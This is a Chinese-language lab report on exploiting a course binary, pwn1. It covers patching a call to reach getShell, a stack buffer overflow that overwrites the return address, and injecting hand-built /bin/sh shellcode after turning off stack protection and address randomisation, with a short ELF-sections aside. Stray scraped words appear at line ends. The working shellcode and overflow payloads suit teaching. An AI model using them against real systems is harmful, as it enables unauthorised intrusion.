本次實踐的對象是一個名爲pwn1的linux可執行文件。html
該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。linux
該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。git
objdump -d
:從objfile中反彙編那些特定指令機器碼的section。perl -e
:後面緊跟單引號括起來的字符串,表示在命令行要執行的命令。xxd
:爲給定的標準輸入或者文件作一次十六進制的輸出,它也能夠將十六進制輸出轉換爲原來的二進制格式。ps -ef
:顯示全部進程,並顯示每一個進程的UID,PPIP,C與STIME欄位。|
:管道,將前者的輸出做爲後者的輸入。>
:輸入輸出重定向符,將前者輸出的內容輸入到後者中。返回目錄shell
使用objdump -d pwn1
將pwn1反彙編,獲得如下代碼(只展現部分核心代碼):編程
咱們注意到,80484b5: e8 d7 ff ff ff call 8048491 <foo>
這條彙編指令,在main函數中調用位於地址8048491處的foo函數,e8表示「call」,即跳轉。windows
若是咱們想讓函數調用getShell,只須要修改d7 ff ff ff
便可。根據foo函數與getShell地址的偏移量,咱們計算出應該改成c3 ff ff ff
。數組
修改的具體步驟以下:安全
vi pwn1
進入命令模式:%!xxd
將顯示模式切換爲十六進制/e8d7
定位須要修改的地方,並確認:%!xxd -r
將十六進制轉換爲原格式:wq
保存並退出反彙編查看修改後的代碼,發現call指令正確調用getShell:網絡
運行修改後的代碼,能夠獲得shell提示符:dom
與上一個任務相似,首先須要進行反彙編,以瞭解程序的基本功能。具體過程再也不贅述。
該可執行文件正常運行是調用函數foo,這個函數有Buffer overflow漏洞。讀入字符串時,系統只預留了必定字節的緩衝區,超出部分會形成溢出,咱們的目標是覆蓋返回地址。
嘗試發現,當輸入爲如下字符時已經發生段錯誤,產生溢出:
使用gdb進行調試:
注意到eip的值爲ASCII的5,即在輸入字符串的「5」的部分發生溢出。將「5」的部分改成其餘數字進一步確認:
由此能夠看到,若是輸入字符串1111111122222222333333334444444412345678,那 1234 那四個數最終會覆蓋到堆棧上的返回地址,進而CPU會嘗試運行這個位置的代碼。那隻要把這四個字符替換爲 getShell 的內存地址,輸給pwn1,pwn1就會運行getShell。
由反彙編結果可知getShell的內存地址爲:0804847d
對比以前 eip 0x34333231 0x34333231
,正確輸入爲 11111111222222223333333344444444\x7d\x84\x04\x08
。
接下來須要生成一個包含這樣字符串的文件,來構造輸入值。
Perl是一門解釋型語言,不須要預編譯,能夠在命令行上直接使用。 使用perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
命令構造文件。
使用十六進制查看指令xxd查看input文件是否符合預期。因爲kali系統採用的是大端法,因此構造內存地址時注意順序,末尾的\0a表示回車換行:
而後將input的輸入,經過管道符「|」,做爲pwn1的輸入。:
首先使用apt-get install execstack
命令安裝execstack。
修改如下設置:
root@KaliYL:~# execstack -s pwn1 //設置堆棧可執行 root@KaliYL:~# execstack -q pwn1 //查詢文件的堆棧是否可執行 X pwn1 root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 2 root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化 root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 0
咱們選擇retaddr+nops+shellcode結構來攻擊buf,在shellcode前填充nop的機器碼90,最前面加上加上返回地址(先定義爲\x4\x3\x2\x1):
perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
接下來肯定\x4\x3\x2\x1部分到底須要填什麼
打開一個終端注入這段攻擊buf,在另外一個終端查看pwn1這個進程,發現進程號爲4854。
啓動gdb調試這個進程:
經過設置斷點,來查看注入buf的內存地址:
使用break *0x080484ae
設置斷點,並輸入c
繼續運行。在pwn1進程正在運行的終端敲回車,使其繼續執行。再返回調試終端,使用info r esp
查找地址。
使用x/16x 0xffffd33c
查看其存放內容,看到了01020304,就是返回地址的位置。根據咱們構造的input_shellcode可知,shellcode就在其後,因此地址是 0xffffd340。
接下來只須要將以前的\x4\x3\x2\x1改成這個地址便可:
再執行程序,攻擊成功:
一個典型的ELF可重定位目標文件以下圖所示:
各節含義以下:
節 | 含義 |
---|---|
.text | 已編譯程序的機器代碼 |
.rodata | 只讀數據,如pintf和switch語句中的字符串和常量值 |
.data | 已初始化的全局變量 |
.bss | 未初始化的全局變量 |
.symtab | 符號表,存放在程序中被定義和引用的函數和全局變量的信息 |
.rel.text | 當連接器吧這個目標文件和其餘文件結合時,.text節中的信息需修改 |
.rel.data | 被模塊定義和引用的任何全局變量的信息 |
.debug | 一個調試符號表 |
.line | 原始C程序的行號和.text節中機器指令之間的映射 |
.strtab | 一個字符串表,其內容包含.systab和.debug節中的符號表 |
對於static類型的變量,gcc編譯器在.data和.bss中爲每一個定義分配空間,並在.symtab節中建立一個有惟一名字的本地連接器符號。對於malloc而來的變量存儲在堆(heap)中,局部變量都存儲在棧(stack)中。
如下面這個程序爲例,來驗證變量是如何存儲的:
#include<stdio.h> #include<string.h> #include<stdlib.h> int z = 9; int a; static int b =10; static int c; void swap(int* x,int* y) { int temp; temp=*x; *x=*y; *y=temp; } int main() { int x=4,y=5; swap(&x,&y); printf(「x=%d,y=%d,z=%d,w=%d/n」,x,y,z,b); return 0; }
使用objdump -S var.o
查看C源程序的彙編代碼能夠發現,z和b在.data段,main和swap在.text段,a和c在.bss段,x,y,temp在stack中,printf函數所打印的字符串在.rodata中。
教程中提到,shellcode就是一段機器指令(code),一般這段機器指令的目的是爲獲取一個交互式的shell
。在許多狀況下,標準的shellcode可能沒法知足特定的任務,所以須要建立本身的shellcode。
shellcode的編寫方式主要有如下三種:
不管使用哪一種方法,都須要瞭解像read、write和execute等這種底層內核函數。因爲這些系統函數都是在內核級執行的,所以還須要有關用戶進程如何與內核進行通訊的知識。這部份內容上學期已在婁老師的《信息安全系統設計基礎》課程中完成了學習(附:進程與fork()、wait()、exec函數組),所以較易理解。
下面根據查閱的一些資料,嘗試利用execve建立shellcode。
編寫一個簡單的程序:
#include <stdio.h> #include <unistd.h> int main(int argc, char *argv[]) { char *code[2]; code[0] = "/bin/sh"; code[1] = NULL; execve(code[0], code, NULL); return 0; }
注意:execve 是 Unix/Linux下exec函數,Linux通常是用fork建立新進程,用exec來執行新的程序。exec有六個函數,其中只有execve是系統調用,其它五個exec函數最後都要調用execve。
以上程序編譯運行能夠獲得一個shell,這個在上學期的課程中已經學習過了。接下來使用gcc -o shellcode shellcode.c
將上面的代碼進行編譯,而後使用objdump -d shellcode > shellcode.s
反彙編。獲得的反彙編代碼(main部分)以下:
參考以上反彙編代碼,用匯編語言重寫上面的shellcode.c,並保存爲scode.s:
編譯: as -o scode.o scode.s 鏈接: ld -o scode scode.o 提取二進制機器碼: objdump -d scode
紅色標註部分即爲shellcode的代碼:
爲:\xeb\x2b\x59\x55\x48\x89\xe5\x48\x83\xec\x20\x48\x89\x4d\xf0\x48\xc7\x45\xf8\x00\x00\x00\x00\xba\x00\x00\x00\x00\x48\x8d\x75\xf0\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05\xe8\xd0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
最後用C語言寫一個測試shellcode的程序:
#include <stdio.h> unsigned char code[] = "\xeb\x2b\x59\x55\x48\x89\xe5\x48" "\x83\xec\x20\x48\x89\x4d\xf0\x48" "\xc7\x45\xf8\x00\x00\x00\x00\xba" "\x00\x00\x00\x00\x48\x8d\x75\xf0" "\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b" "\x00\x00\x00\x0f\x05\xe8\xd0\xff" "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" ; /* code 就是咱們上面構造的 shellcode */ void main(int argc, char *argv[]) { long *ret; ret = (long *)&ret + 2; (*ret) = (long)code; }
因爲系統設置了堆棧運行保護,gcc編譯時須要使用參數:-fno-stack-protector -z execstack。查看運行結果:
Done!
目前嘗試的shellcode還有很大的侷限性,好比堆棧保護等。能不能繞過這些保護呢?